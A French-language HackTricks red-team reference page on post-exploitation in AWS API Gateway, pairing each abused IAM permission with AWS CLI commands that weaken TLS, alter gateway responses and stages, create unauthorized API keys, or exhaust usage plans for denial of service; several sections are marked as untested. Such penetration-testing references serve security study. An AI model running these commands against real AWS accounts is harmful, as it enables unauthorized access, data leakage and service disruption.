AWS - API Gateway Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

API Gateway

Pour plus d'informations, consultez :

pageAWS - API Gateway Enum

Accéder aux API non exposées

Vous pouvez créer un point de terminaison dans https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint avec le service com.amazonaws.us-east-1.execute-api, exposer le point de terminaison dans un réseau où vous avez accès (potentiellement via une machine EC2) et attribuer un groupe de sécurité autorisant toutes les connexions. Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de passerelle qui n'était pas exposée auparavant.

Plans d'utilisation DoS

Dans la section Énumération, vous pouvez voir comment obtenir le plan d'utilisation des clés. Si vous avez la clé et qu'elle est limitée à X utilisations par mois, vous pourriez simplement l'utiliser et provoquer un DoS.

La clé API doit simplement être incluse dans un en-tête HTTP appelé x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaquant avec les autorisations apigateway:UpdateGatewayResponse et apigateway:CreateDeployment peut modifier une réponse de passerelle existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel: Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources de l'API.

Besoin de test

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaquant avec les autorisations apigateway:UpdateStage et apigateway:CreateDeployment peut modifier une étape existante de l'API Gateway pour rediriger le trafic vers une étape différente ou modifier les paramètres de mise en cache pour accéder de manière non autorisée aux données mises en cache.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Accès non autorisé aux données mises en cache, perturbation ou interception du trafic de l'API.

Besoin de test

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaquant disposant des autorisations apigateway:PutMethodResponse et apigateway:CreateDeployment peut modifier la réponse de méthode d'une méthode API Gateway REST existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources de l'API.

Besoin de test

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attaquant avec les autorisations apigateway:UpdateRestApi et apigateway:CreateDeployment peut modifier les paramètres de l'API Gateway REST pour désactiver l'enregistrement des journaux ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Affaiblissement de la sécurité de l'API, permettant potentiellement un accès non autorisé ou l'exposition d'informations sensibles.

Besoin de test

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attaquant avec les autorisations apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan et apigateway:CreateUsagePlanKey peut créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour accéder de manière non autorisée aux APIs.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impact potentiel: Accès non autorisé aux ressources de l'API, contournement des contrôles de sécurité.

Besoin de test

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour